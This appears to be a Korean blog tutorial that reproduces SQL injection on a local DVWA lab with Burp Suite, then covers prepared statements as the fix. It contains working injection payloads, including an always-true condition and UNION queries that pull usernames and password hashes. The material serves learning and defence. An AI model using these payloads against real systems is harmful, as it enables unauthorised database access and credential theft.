
웹 해킹을 처음 배울 때 가장 좋은 방법은 직접 취약한 사이트를 하나 띄워놓고 공격을 해보는 것이라고 생각한다.
이번 글에서는 맥북에 DVWA라는 취약한 연습용 웹앱을 Docker로 띄우고, Burp Suite로 SQL Injection(SQLi)을 직접 재현해봤다.
단순히 "이렇게 하면 뚫린다"에서 그치지 않고, 왜 뚫리는지와 어떻게 막아야하는지까지 정리하고자한다.
시작 전에 짚고 넘어가자. 이 글의 모든 실습은 본인 소유의 로컬 환경에서만 진행했다. 허가받지 않은 시스템에 같은 행위를 하면 명백한 불법이다.
DVWA는 학습 목적으로 일부러 취약하게 만들어놓은 웹 애플리케이션이다.
| 항목 | 내용 |
|---|---|
| 호스트 | macOS(Intel) |
| 대상 앱 | DVWA(Damn Vulnerable Web Application) v1.10 |
| 구동 방식 | Docker |
| 도구 | Burp Suite Community Edition |
| 난이도 | DVWA Security: Low |
SQL Injection(SQLi)은 사용자가 입력한 값이 SQL 쿼리 문자열에 그대로 섞여 들어갈 때 발생하는 취약점이다.
공격자는 입력값에 SQL 구문을 끼워넣어서, 개발자가 의도하지 않은 쿼리를 실행시킬 수 있게 되는 것이다.
핵심은 "명령어(SQL 구문)"와 "데이터(사용자 입력)"의 경계가 무너지는 것이다. 예시로 한번 봐보자.
어떤 서바가 아래와 같이 쿼리를 만든다고 하자.
// 취약한 코드 - 문자열을 그냥 이어붙인다
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
여기서 $id에 사용자 입력이 검증 없이 들어간다. 1을 넣으면 이렇게 된다.
-- 입력: 1
SELECT first_name, last_name FROM useres WHERE user_id = '1'
"user_id가 1인 사람을 찾아라." 정상적인 쿼리이다. 그런데 입력값에 따옴표와 SQL 문법을 끼워넣으면 쿼리의 구조 자체가 바뀐다.
-- 입력: 1' OR '1'='1
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'
'1'='1'은 항상 참이다. 그래서 WHERE 조건 전체가 무력화되고, 결국 테이블의 모든 행이 반환된다.
이게 SQL Injection의 기본 원리이다.
원리가 단순한데도 그 영향력이 커서, 웹 취약점 순위에서 늘 상위권을 차지하는 대표적인 취약점이다.
Docker가 설치되어 있으면 명령어 한 줄로 끝낼 수 있다.
docker run -rm -it -p 8081:80 vulnerables/web-dvwa

-p 8081:80 - 사이트를 localhost:8081로 접속하게 매핑한다. 8081은 뒤에서 Burp Suite에서 사용할 포트라 일부러 피함.--rm- 컨테이너를 종료하면 자동 삭제된다. 대신 껐다 켜면 DB가 초기화되므로, 다시 켤 때 아래 초기 설정을 매번 해줘야 한다.DVWA에 접속한 후 하단의 Create / Reset Databse 버튼을 눌러 DB를 초기화하고, admin / password로 로그인한다.
로그인 후 DVWA Security 메뉴에서 난이도를 Low로 바꾼다. 기본값은 Impossible이라, 그대로 두면 방어 코드가 걸려서 아무리 시도해도 안 뚫린다. (이 Impossible 코드는 뒤에서 방어 방법을 설명할 때 다시 볼 예정이다.)
가장 간단한 방법은 Burp의 내장 브라우저를 사용하는 것이다. 그렇게 하면 프록시 설정이나 인증서 설치를 직접 할 필요가 없다.

http://localhost:8081 입력 및 접속


1을 넣고 Submit 버튼 클릭


여기서 Repeater가 핵심 도구이다. 해당 도구를 사용하면 요청 하나를 저장해두고 값만 바꿔가며 반복해서 요청을 보낼 수 있게된다.
Repeater에서 id 값을 다음으로 바꾼다.
1' OR '1'='1

Send를 누르면 처음엔 400 Bad Request가 뜬다.
GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1
-> 400 Bad Request

공격이 막힌것이 아니니 당황하지 말자.
'(따옴표), 공백, = 같은 특수문자가 URL 인코딩되지 않은 채 쿼리스트링에 들어가서, 서버가 요청 자체를 해석하지 못한 것이다.
즉 서버 문 앞에도 못 같 상태인 것이다.
해결은 간단하다.
Repeater에서 페이로드 부분(1' OR '1'='1)만 드래그해서 선택한 뒤 Ctrl + U(URL 인코딩 단축키)를 누르면 된다.
GET /vulnerabilities/sqli/?id=1'+OR+'1'%3d'1&Submit=Submit HTTP/1.1
→ 200 OK

원래 id=1만 넣으면 amdin 한 명만 나와야 정상이다. 그런데 `OR '1'='1을 주입하니 users 테이블의 모든 사용자가 반환됐다.
First name: admin Surname: admin
First name: Gordon Surname: Brown
First name: Hack Surname: Me
First name: Pablo Surname: Picasso
First name: Bob Surname: Smith
WHERE 조건이 무력화되면서 전체 데이터가 노출이 된 것이다. SQL Injection 취약점이 확인된 것이다.

OR '1'='1은 취약점의 존재를 확인하는 단계이다. 실전에서는 더 나아가, UNION을 이용해 원래 쿼리에 없던 데이터(예: 비밀번호 해시)까지 끌어온다.
-- 1) 컬럼 개수 확정
1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- - -- 에러가 나기 직전 숫자가 컬럼 개수가 됨
-- 2) 출력되는 컬럼 위치 확인
1' UNIONT SELECT 1,2-- -
-- 3) 실제 데이터 추출
1' UNION SELECT user, password FROM users-- -
DVWA는 비밀번호를 MD5 해시로 저장하기 때문에, 추출한 해시를 크래킹 도구에 넣으면 평문까지 복원할 수 있다.
이 과정은 다음 편에서 제대로 다룰 예정이다.
-- -는 뒤에 오는 원래 쿼리를 주석 처리해서 무시하게 만드는 부분이다. MySQL에서는--주석 뒤에 공백이 있어야 정상 동작하므로, 하이픈 뒤 공백을 반드시 넣어야 한다.
보안에서 공격과 방어를 모두 알아야 해당 취약점에 대해 완벽히 이해했다 생각이 된다. 공격 재현만 알고 끝낸다면 그것을 반쪽짜리에 불과할 것이다.
그러니 방어 방법에 대해서도 알아보자.
핵심은 명령어와 값을 완전히 분리하는 것이다. 사용자가 무엇을 입력하든 그건 그저 순수한 "값"으로만 취급되고,
쿼리 구조에는 영향을 주지 못한다.
// 안전한 코드 - PDO Prepared Statement
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->execute([$id]);
이렇게 하면 1' OR '1'='1을 통째로 넣어도, 그 문자열 전체가 하나의 user_id 값으로만 취급된다.
따옴표를 넣든 뭘 넣든 그냥 글자로만 볼 뿐, SQL Injection 공격이 성립되지 않는다.
실제로 앞에서 언급한 DVWA의 Impossible 난이도 코드를 보면 이 Prepared Statement 방식을 사용한다.
그래서 해당 난이도에서 아무리 시도해도 안 뚫리는 것이다.
is_numeric() 등).정리하면, Prepared Statement가 근본적인 해결책이고 나머지는 심층적인 방어를 위한 보조 수단이다. 입력값 필터링이나 WAF만 믿으면 우회 기법에 뚫릴 수 있다.
이번 실습에서 확인한 내용을 정리하면 다음과 같다.
Ctrl+U URL 인코딩의 필요성OR '1'='1으로 WHERE 조건을 무력화해 전체 데이터를 노출시키는 과정다음 편에서는 UNION 기반 인젝션으로 데이터베이스 구조를 열거하고, 비밀번호 해시를 추출 및 크래킹하는 과정을 다룰 예정이다.
본 실습은 로컬 환경의 DVWA를 대상으로 진행했으며, 모든 내용은 학습 목적이다. 허가받지 않은 시스템에 대한 시도는 불법이다.